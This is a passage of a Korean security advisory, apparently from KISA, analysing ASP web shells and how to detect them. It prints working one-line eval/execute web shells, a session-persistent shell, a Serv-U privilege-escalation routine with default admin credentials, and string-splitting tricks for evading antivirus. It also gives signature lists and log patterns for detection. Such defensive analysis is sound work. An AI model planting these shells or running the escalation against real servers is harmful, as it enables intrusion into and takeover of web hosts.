- 윈도우 자동으로 로그인 키 값(autoadminlogon)이 설정되어 있는 경우 디폴트 사용자 이름
(DefaultUserName)과 패스워드(DefaultPassword)를 확인
HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon\
- 컴퓨터 이름 확인
HKLM\SYSTEM\CurrentControlSet\Control\ComputerName\ComputerName\ComputerName
- 익명 사용자 접속 여부 및 공유 정보 확인
HKLM\SYSTEM\CurrentControlSet\Control\Lsa\restrictanonymous
HKLM\SYSTEM\CurrentControlSet\Services\LanmanServer\Parameters\AutoShareServer
HKLM\SYSTEM\CurrentControlSet\Services\LanmanServer\Parameters\EnableSha
redNetDrives
- 보안 필터링 및 포워딩 여부 확인
HKLM\SYSTEM\currentControlSet\Services\Tcpip\Parameters\EnableSecurityFilters
HKLM\SYSTEM\ControlSet001\Services\Tcpip\Parameters\IPEnableRouter
- 네트워크 카드 정보 확인
HKLM\SYSTEM\CurrentControlSet\Services\Tcpip\Parameters\Interfaces\{8A465128
-8E99-4B0C-AFF3-1348DC55EB2E}\DefaultGateway
HKLM\SYSTEM\ControlSet001\Services\Tcpip\Enum\Count
HKLM\SYSTEM\ControlSet001\Services\Tcpip\Linkage\Bind

■ 시스템 정보 확인
웹쉘에서 GetObject 메소드를 이용해 서비스와 사용자 장보를 확인 한다.

o 서비스 확인
Set ComputerObj = GetObject(“WinNT://MYCOMPUTER”)
ComputerObj.Filter = Array(“Service”)
For Each Service in ComputerObj
WScript.Echo “Service display name = “ & Service.DisplayName
WScript.Echo “Service account name = “ & Service.ServiceAccountName
WScript.Echo “Service executable = “ & Service.Path
WScript.Echo “Current status = “ & Service.Status
Next

o 사용자 정보확인
Set objComputer = GetObject(“WinNT://.”)
objComputer.Filter = Array(“User”)
For Each objUser in objComputer
WScript.Echo objUser.Name
Next

■ 어플리케이션 취약점을 통한 로컬 권한상승

웹에서 실행되는 모든 파일들은 기본적으로 인터넷 게스트 계정으로 으로 실행된다. 웹쉘은 이러한 제한된 권한을 관리자 권한으로 상승시키기 위해 취약점 있는 Serv-U 프로그램을 이용한다.
Serv-U 3.x ~ 5.x는 로컬 권한 상승 취약점이 있으며 이를 이용하여 새로운 관리자 계정을 생성할 수 있다. 취약점을 공격하는 과정은 아래와 같다.

o Serv-U 3.x ~ 5.x 버전의 ServUDaemon.exe 다운로드 및 실행 (TzoLibr.dll 필요)
o Serv-U 디폴트 아이피/포트(127.0.0.1/43958) 로 접속 후
o Serv-U 디폴트 관리 아이디/패스워드로 로그인
- USER LocalAdministrator (디폴트 아이디)
- PASS #l@$ak#.lk;0@P (디폴트 패스워드)
o Serv-U에 신규 도메인 생성
o Serv-U 명령어 실행에 필요한 Serv-U 사용자 추가
o “SITE EXEC“ Serv-U 내부 스크립트를 통한 시스템 명령어 수행

set a=Server.CreateObject(“Microsoft.XMLHTTP”)
a.open “GET”, “http://127.0.0.1:” & port & “/goldsun/upadmin/s1”,True, “”, “”
a.send loginuser & loginpass & “SITE MAINTENANCE” & deldomain & newdomain &
newuser & quit
set session(“a”)=a
set b=Server.CreateObject(“Microsoft.XMLHTTP”)
b.open “GET”, “http://127.0.0.1:” & ftpport & “/goldsun/upadmin/s2”, True, “”, “”
b.send “User go” & vbCrLf & “pass od” & vbCrLf & “SITE EXEC “ & cmd & vbCrLf & quit
set session(“b”)=b

나. 스크립트 인코딩
마이크로소프트社의 윈도우 스크립트는 Script Encoder를 제공하여 일반 사용자들이 스크립트 내용을 확인하는게 쉽지 않도록 하고 있다. 하지만 웹쉘을 업로드한 공격자가 이러한 기능을 악용하여 관리자가 웹쉘을 쉽게 찾지 못하도록 백신탐지를 우회 하는데 이용하고 있다.

http://msdn2.microsoft.com/en-us/library/cbfz3598(VS.85).aspx

Script Encoder는 콘솔모드에서 명령어 라인으로 실행되며 다음과 같이 사용한다.

SCRENC [switches] inputfile outputfile

일반 asp 스크립트를 인코딩 하면 아래와 같은 결과가 된다.
일반 소스
인코딩 소스
<SCRIPT language=”VBScript”>
<%
This is test
%>
</SCRIPT>
<%@ LANGUAGE = VBScript.Encode %>
<SCRIPT language=”VBScript”>
<%#@~^FAAAAA==@#@&K4b/,k/,Y dY
@#@&ogQAAA==^#~@%>
</SCRIPT>
[그림] scrdec18 프로그램을 이용한 디코딩

다. 짧은 웹쉘
ASP 웹쉘 중 eval, execute 메소드를 이용하여 공격자로부터 웹쉘 코드를 전달 받아 실행하는 짧은 소스 코드들이 있다. 이같이 짧은 소스코드가 정상적인 소스에 삽입되어 실행되는 경우도 있으므로 관리자들의 각별한 주의가 필요하다.

- eval (expression) : eval 함수는 expression으로 정의된 코드를 평가하여 결과(True, False)를 알려준다.
- execute (expression) : execute 함수는 expression으로 정의된 코드를 실행하여 결과를 알려준다.

eval, execute 메소드를 이용한 웹쉘 구동 방법은 아래 개요도처럼, 먼저 공격자는 피해시스템에 웹쉘 코드를 보내는 html 폼(2006_lite.asp.html)을 준비하고 그 폼에 웹쉘 코드를 넣어 피해 시스템 웹쉘(server.asp)에 전송한다. 피해시스템에서는 웹쉘 코드를 전달 받아 execute, eval 메소드로 실행하고 execute 메소드는 결과를 공격자에게 전달해 준다. (eval 메소드는 코드를 실행하고 결과에 대한 True, False 만을 알려주므로 적절한 결과를 공격자에게 알려주지는 못한다)
[그림] execute, eval 코드를 이용한 웹쉘 실행 방법

■ eval 코드
다음은 피해시스템에서 발견된 eval 코드 유형이며 아래와 같이 한 줄, 짧은 코드로 이루어진다.
- <%eval request(“l”)%>
- <%eval(request(“#”))%>

■ execute 코드
다음은 피해시스템에서 발견된 execute 코드 유형이다.
- <%execute request(“l”)%>
- <%If Request(“#”)<>”” Then Execute(Request(“#”))%>

■ execute 세션 유지 용 코드
execute 메소드를 이용한 짧은 코드의 경우 공격자가 실행하기 원하는 코드를 위 개요도 그림처럼 매번 전송해주어야 하는 번거로움이 있다. 그래서 공격자들은 한번 넘겨준 코드를 실행한 결과를 세션으로 연결하여 다음에는 코드를 넘겨줄 필요 없이 실행 결과에서 다음 메뉴로 넘어갈 수 있도록 하였다.

<SCRIPT language=”vbscript” runat="”server”">
If Request(“asdf”)<>”” Then Session(“조직킬러”)=Request(“asdf”)
If Session(“조직킬러”)<>”” Then Execute(Session(“조직킬러”))
</SCRIPT>

라. 기타

■ 문자열 분리를 이용한 탐지 우회 기능
최근 바이러스 백신이나 서버 관리자들이 웹쉘 시그니쳐를 통해 웹쉘 탐지가 많아지자 공격자 들은 시그니쳐로 이용되는 문자열(오브젝트 명)들을 분산시켜 탐지를 우회하고 있다.

- Shell.Application
문자열을 연결하는 & 연산자를 이용하고 값이 주어지지 않은 변수 x를 이용해 아래와 같이
Shell.Application 문자열을 분리한다.
Set sa = Server.CreateObject“( She”&x&”ll.Appl”&x&”ication”)
“She”&x&”ll.Appl”&x&”ication”=>“ Shell.Application”
- WScript.Shell
Set ws = Server.CreateObject“( WScr”&x&”ipt.Shell”)

■ 파일 생성 웹쉘
Scripting.FileSystemObject 오브젝트를 이용하여 새로운 파일을 생성하는 기능을 앞서 살펴 보았다. 최근 정상적인 스크립트들에서도 사용하는 CreateTextFile, Write 메소드를 이용하여 단지 파일만 생성하는 웹쉘들이 증가하고 있다. 이러한 웹쉘은 정상적인 스크립트에서 사용하는 오브젝트와 메소드를 사용하므로 탐지하기가 쉽지 않다. 또한 이러한 웹쉘들은 앞서 설명한 다양한 기능을 가지는 웹쉘을 얼마든지 생성할 수가 있어 관리자들의 주의가 필요하다.

[그림] 파일 생성 웹쉘 화면

3. 탐지 방안

가. 웹쉘 시그니쳐를 이용한 파일 검색

■ 시그니쳐
웹쉘은 시스템 명령어를 수행하거나 파일을 조작하기 위해 관련된 오브젝트, Wscript.Shell, Shell.Application 등을 주로 사용하게 된다. 하지만 이러한 오브젝트는 정상적인 스크립트 코드에서는 사용하지 않는 것들로 웹쉘 탐지를 위한 시그니쳐로 지정하여 웹쉘을 탐지하는데 이용할 수 있다. 이렇게 시그니쳐로 지정할 만한 문자열들을 찾아본 결과 다음과 같았다.

- Wscript.Shell, Shell.Application 과 같은 시스템에 접근할 수 있는 오브젝트나 메소드
- 인코딩된 파일에 삽입된 헤더 문자열 VBScript.Encode
- 중국어 간체 gb2312
- 시스템 명령에 필요한 문자열 cmd.exe
- 정상적인 스크립트에서 흔히 사용되지 않는 eval, execute 함수 등
cmd\.exe
Wscript\.Shell Shell\.Application VBScript\.Encode gb2312
execute *\(? *session execute *\(? *request eval *\(? *request \.run.*> \.exec *\(
webshell lake2 hack520 lcxMarcos Marcos

■ findstr 명령어를 활용한 탐지 방법
findstr 이라는 명령어는 지정된 파일들에서 찾고자 하는 특정 문자열들을 검색할 수 있도록 도와준다. 위에서 정의된 시그니쳐들을 파일(asp.sig)로 지정하고 사이트 홈 디렉터리에서 아 래의 예처럼 실행해 보기 바란다.

findstr /i /r /s /g:asp.sig *.asp

- i : 대소문자 구분없이 검색
- g : 지정된 파일에서 검색 문자열을 받음
- r : 정규 표현식 사용
- s : 모든 하위디렉터리 검색

※ 최근 공격자들이 웹쉘 확장자를 .cer, .asa, cdx, hta로 변경하여 파일을 업로드 하는 경우가 있다.(파일 업로드
우회 공격) 반드시 검사 확장자를 asp 뿐만 아니라 스크립트로 실행되도록 지정된 .asa, .cer 등도 반드시 함께
검색 하도록 해야 한다.

[그림] 검사대상 확장명

나. 웹쉘 로그 시그니쳐를 이용한 웹 로그 검색

■ 시그니쳐
최근 대부분의 웹쉘들은 POST 방식으로 관련 데이터들을 전송하기 때문에 웹 로그에서 웹쉘이 실행된 흔적을 찾기가 쉽지 않다. 하지만 많은 웹쉘들은 실행할 메뉴들을 GET 방식으로 전달 하여 이러한 로그들을 대상으로 시그니쳐를 추출 할 수 있었다. 아래 8.0.asp 웹쉘에서 시스템 명령어 수행하는 메뉴를 실행하면 아래와 같이 /WebShell/8.0.asp?Action=Cmd1Shell GET 요청을 하게 되어 Action=Cmd1Shell 이라는 고유의 시그니쳐를 얻을 수 있다.

ex) http://victim.com/WebShell/8.0.asp?Action=Cmd1Shell

인터넷침해사고대응지원센터에서 피해시스템에서 수집된 웹쉘을 테스트하고 아래와 같이 웹쉘 실행여부를 확인할 수 있는 시그니쳐를 추출하였다.
Action=MainMenu
Action=Show1File
Action=EditFile
Action=DbManager
Action=getTerminalInfo
Action=ServerInfo
Action=Servu
Action=kmuma
Action=kmuma&act=scan
Action=Cplgm&M=2
Action=plgm
Action=PageAddToMdb >
Action=ReadREG
Action=ScanPort
Action=Cmd1Shell
Action=UpFile
(pageName|id|list|action|act)=ServiceList
(pageName|id|list|action|act)=ServiceList
(pageName|id|list|action|act)=infoAboutSrv
(pageName|id|list|action|act)=objOnSrv
(pageName|id|list|action|act)=userList
(pageName|id|list|action|act)=WsCmdRun
(pageName|id|list|action|act)=SaCmdRun
(pageName|id|list|action|act)=SaCmdRun&theAct
(pageName|id|list|action|act)=FsoFileExplorer
(pageName|id|list|action|act)=FsoFileExplorer&theAct
(pageName|id|list|action|act)=FsoFileExplorer&thePath
pageName=MsDataBase
pageName=MsDataBase&theAct=showTables
pageName=TxtSearcher
pageName=OtherTools
act=scan
Action=mainwin
action=listtb
action=listvw
action=listdb
action=execsql
action=dbsrcbox
action=searchfile
action=xpcmdshell
(action|act)=cmdshell
action=mainmenu
action=showfile
action=editfile
action=course
action=serverinfo
action=upfile
action=dbmanager
ex=edit&pth=
PageName=PageUpload&theAct
PageName=PageWebProxy&url=
productName=HigroupASPAdmin
PageWebProxy
aCTiON=cMd
aCTiON=ClonETiMe&SrC=
aCTiON=SqLrOotKIt
aCTiON=Reg
aCTiON=DAtA
aCTiON=Goto&SrC=C:\
aCTiON=uPFIlE&SrC=
aCTiON=NEw&SrC=
act=info
act=filemanage
act=edit&src=
act=del&src=
act=rename&src=
DirName=
Type=.*FileName=.*\
Type=.*ok=dir
FsoFileExplorer
WsCmdRun
SaCmdRun
MsDataBase
HigroupASPAdmin
=cmd
ClonETiMe
SqLrOotKIt

4. 결론
관리하는 서버에서 웹쉘이 탐지되었다면 시스템에 웹쉘을 생성할 수 있었던 취약점이 존재 할 것 이다. 웹쉘이 업로드 된 피해시스템을 분석한 결과 대부분 파일 업로드, SQL Injection과 같은 어플리케이션 취약점으로 웹쉘이 생성되는 것으로 확인되었다. 웹쉘을 탐지해서 제거하는 것도 중요하지만 웹쉘을 생성할 수 있었던 근본적인 취약점을 찾아내어 패치하는 것도 관리자들이 꼭~! 잊지 않고 해야 될 작업일 것이다.
앞서 탐지 방법에서 제공한 시그니쳐들은 오탐이 발생할 수 있으므로 반드시 이 보고서에서 설명한 기능을 갖는 웹쉘인지 확인 후 삭제해야 한다.

[자료: 한국정보보호진흥원(KISA)]

Trackback 0 Comment 0